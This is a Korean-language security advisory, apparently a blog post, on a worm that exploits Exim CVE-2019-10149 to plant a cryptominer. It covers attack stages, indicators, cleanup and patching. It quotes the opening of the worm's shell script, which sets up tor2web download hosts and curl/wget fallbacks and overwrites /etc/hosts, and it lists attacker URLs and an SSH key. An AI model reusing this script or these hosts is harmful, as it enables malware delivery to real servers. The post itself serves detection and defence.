요약

- 6/3일 발표된 CVE-2019-10149 취약점을 이용해 WannaMine 공격에 사용되었던 가상화폐 채굴기를 설치하는 활발한 공격이 포착 됨.

- 공격 패턴 :

(1) 공격자 취약서버에 스크립트를 업로드 하고, ssh를 통해 영구적인 root 권한을 획득하고 있음.

(2) Openssh가 취약 서버에 설치 되어 있는지 확인하고, 설치 되어 있지 않을 시, openssh 및 기타 툴을 설치하는 스크립트는 

        tor2web 라우팅 서비스를 이용해 다운 받음.

(3) 스크립트는 기존/새로 설치된 openssh 설정을 WITH AN RSA PUBLIC/PRIVATE KEY AUTHENTICATION >> 과 ssh를 통해 root 로그인을 

        permit하도록 변경  → 서버 공격에 성공 시, 공격자는 private/public 키 인증을 통해 서버에 대한 root 권한 접근이 가능함.

(4) 취약점 공격 성공 후, 포트 스캐너를 실행해 추가 감염 시스템을 검색 함 (python으로 쓰여 짐)

(5) 최종 공격 단계에서 윈도우 아이콘 파일을 다운로드 함 : 실제는 zip 압축 파일로 “no-password”암호가 걸려 있음. 

        압축 해제 시 가상화폐 채굴기 존재.

- 이미 설치된 가상 화폐 채굴기 및 보안 시스템을 제거 후 공격자의 가상화폐 채굴기를 설치

- 윈도우 아이콘 : Github 공식 아이콘과 유사


- 탐지 방법 

(1) 공격자 사용 TOR 히든 서비스 : an7kmd2wp4xo7hpr

(2) 공격자 사용 private 키 : 

AAAAB3NzaC1yc2EAAAADAQABAAABAQC1Sdr0tIIL8yPhKTLzVMnRKj1zzGqtR4tKpM2bfBEx+AHyvBL8jDZDJ6fuVwEB+aZ8bl/pA5qhFWRRWhONLnLN9RWFx/880msXITwOXjCT3Qa6VpAFPPMazJpbppIg+LTkbOEjdDHvdZ8RhEt7tTXc2DoTDcs73EeepZbJmDFP8TCY7hwgLi0XcG8YHkDFoKFUhvSHPkzAsQd9hyOWaI1taLX2VZHAk8rOaYqaRG3URWH3hZvk8Hcgggm2q/IQQa9VLlX4cSM4SifM/ZNbLYAJhH1x3ZgscliZVmjB55wZWRL5oOZztOKJT2oczUuhDHM1qoUJjnxopqtZ5DrA76WH user@localhost"

(3) kthrotlds 프로세서가 서버에서 실행 중 인지 확인

→ 프로세서는 다양한 경로에 악성 코드 설치 및 이전 cron 테스크를 지우기 때문에 백업으로 복구 필요


(악성 코드)

#!/bin/sh

SHELL=/bin/sh

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

RHOST=”https://an7kmd2wp4xo7hpr”

TOR1=”.tor2web.su/”

TOR2=”.tor2web.io/”

TOR3=”.onion.sh/”

RPATH1=’src/ldm’

#LPATH=”${HOME-/tmp}/.cache/”

TIMEOUT=”75″

CTIMEOUT=”22″

COPTS=” -fsSLk –retry 2 –connect-timeout ${CTIMEOUT} –max-time ${TIMEOUT} ”

WOPTS=” –quiet –tries=2 –wait=5 –no-check-certificate –connect-timeout=${CTIMEOUT} –timeout=${TIMEOUT} ”

tbin=$(command -v passwd); bpath=$(dirname “${tbin}”)

curl=”curl”; if [ $(curl –version 2>/dev/null|grep “curl “|wc -l) -eq 0 ]; then curl=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “CURLOPT_VERBOSE” && curl=”$f” && break; done; fi; fi

wget=”wget”; if [ $(wget –version 2>/dev/null|grep “wgetrc “|wc -l) -eq 0 ]; then wget=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “.wgetrc’-style command” && wget=”$f” && break; done; fi; fi

#CHKCURL=’curl=”curl “; wget=”wget “; if [ “$(whoami)” = “root” ]; then if [ $(command -v curl|wc -l) -eq 0 ]; then curl=$(ls /usr/bin|grep -i url|head -n 1); fi; if [ -z ${curl} ]; then curl=”echo “; fi; if [ $(command -v wget|wc -l) -eq 0 ]; then wget=$(ls /usr/bin|grep -i wget|head -n 1); fi; if [ -z ${wget} ]; then wget=”echo “; fi; if [ $(cat /etc/hosts|grep -i “.onion.”|wc -l) -ne 0 ]; then echo “127.0.0.1 localhost” > /etc/hosts >/dev/null 2>&1; fi; fi; ‘

CHKCURL=’tbin=$(command -v passwd); bpath=$(dirname “${tbin}”); curl=”curl”; if [ $(curl –version 2>/dev/null|grep “curl “|wc -l) -eq 0 ]; then curl=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “CURLOPT_VERBOSE” && curl=”$f” && break; done; fi; fi; wget=”wget”; if [ $(wget –version 2>/dev/null|grep “wgetrc “|wc -l) -eq 0 ]; then wget=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “to ” && wget=”$f” && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i “.onion.”|wc -l) -ne 0 ]; then echo “127.0.0.1 localhost” > /etc/hosts >/dev/null 2>&1; fi; ‘

LBIN8=”kthrotlds”

null=’ >/dev/null 2>&1′


(4) Crontab 에서 새롭게 추가된 cronjob이 있는지 확인 후 제거 : 공격 단계별로 다 수의 페이로드를 cronjob을 통해 다운받기 때문에 

        반드시 확인 필요

(5) F/W과 Access 로그에서 아래 호스트에 대한 접근 확인

https://an7kmd2wp4xo7hpr.tor2web.su

https://an7kmd2wp4xo7hpr.tor2web.io

https://an7kmd2wp4xo7hpr.onion.sh

(6) 공격자는 [http://173.212.214.137/s] 에서 스크립트를 다운받으라고 시도 함.


[Exim 원격 명령어(Command) 실행 취약점(CVE-2019-10149)]

- 취약점 : 6/3일 Qualys 회사가 메일 전송 에이전트(mail transfer agent, MTA)로 알려진 Exim에 원격 코드 실행 취약점이 존재하는 것을 발견.

- 로컬 공격 : 로컬 공격자는 root 권한으로 임의의 명령어를  execv( )를 이용해 실행 할 수 있음 

                      (메모 변질 또는ROP (Return-Oriented Programming)와 연관성 없음)

공격자는 deliver_message( )함수 내 expand_string 함수가 해석할 특수하게 가공된 로컬 호스트의 메일 주소로 메일을 보내 

root권한으로 명령어를 즉시 실행 할 수 있음. 

*ROP(Return-Oriented Programming) : 취약한 프로그램 내부에 있는 기계어 코드 Gadget을 이용하여 BOF 공격 시 특정 명령을 실행시키는 방법으로 메모리 보호기법을 우회할 수 있는 공격 방법.


- 원격 공격 : 

(1) 초기 설정 값 유지  : 원격 공격도 기능하나 공격자가 취약한 서버에 7일 이상 접속을 유지하고 있어야 하므로,  

                                  현실적으로 불가능할 것으로 추정.

(2) 초기 설정 값 유지 X : 아래의 경우, 로컬 공격 방법으로 원격 공격이 가능함

초기 설정 파일(src/configure.default)에서 ‘verify = recipient’ ACL 이 제거 된 경우

userforward 라우터 아래의 'local_part_suffix = + * : - *'주석을 제거한 경우

Exim이 보조 MX (Mail eXchange)로  원격 도메인 주소에 메일을 전달하게 설정 된 경우


- 영향받는 제품 : Exim 버전 4.87  ~ 4.91 을 사용하는 오픈소스 운영체제 (ex. Debian, Red Hat, Ubuntu 등)

- 대응방안 : 4.92 버전으로 업그레이드 또는 각 버전별 패치 적용.

- 영향성 : Shodan 검색 결과 410만대의 시스템에 취약함 (Exim 사용 시스템 중 약 90%의 시스템이 취약)


관련 CVE정보

- CVE-2019-10149

- CVSS 3.0 Base Score: 9.8

- PoC : 현재(2019.06.14 10:00) 없음 *자세한 취약 요소에 대해서는 최초 분석글에서 확인 가능

    (https://www.qualys.com/2019/06/05/cve-2019-10149/return-wizard-rce-exim.txt)


탐지룰 존재유무

- TippingPoint : 35520: SMTP: Exim Internet Mailer Command Injection Vulnerability


참고자료

탐지방법/대응법 : https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability

      https://www.srv24x7.com/kthrotlds-cve-2019-10149-exim/

출처 : https://www.tenable.com/blog/cve-2019-10149-critical-remote-command-execution-vulnerability-discovered-in-exim

        https://www.openwall.com/lists/oss-security/2019/06/05/4

        https://www.exim.org/static/doc/security/CVE-2019-10149.txt

        https://www.qualys.com/2019/06/05/cve-2019-10149/return-wizard-rce-exim.txt

+ Recent posts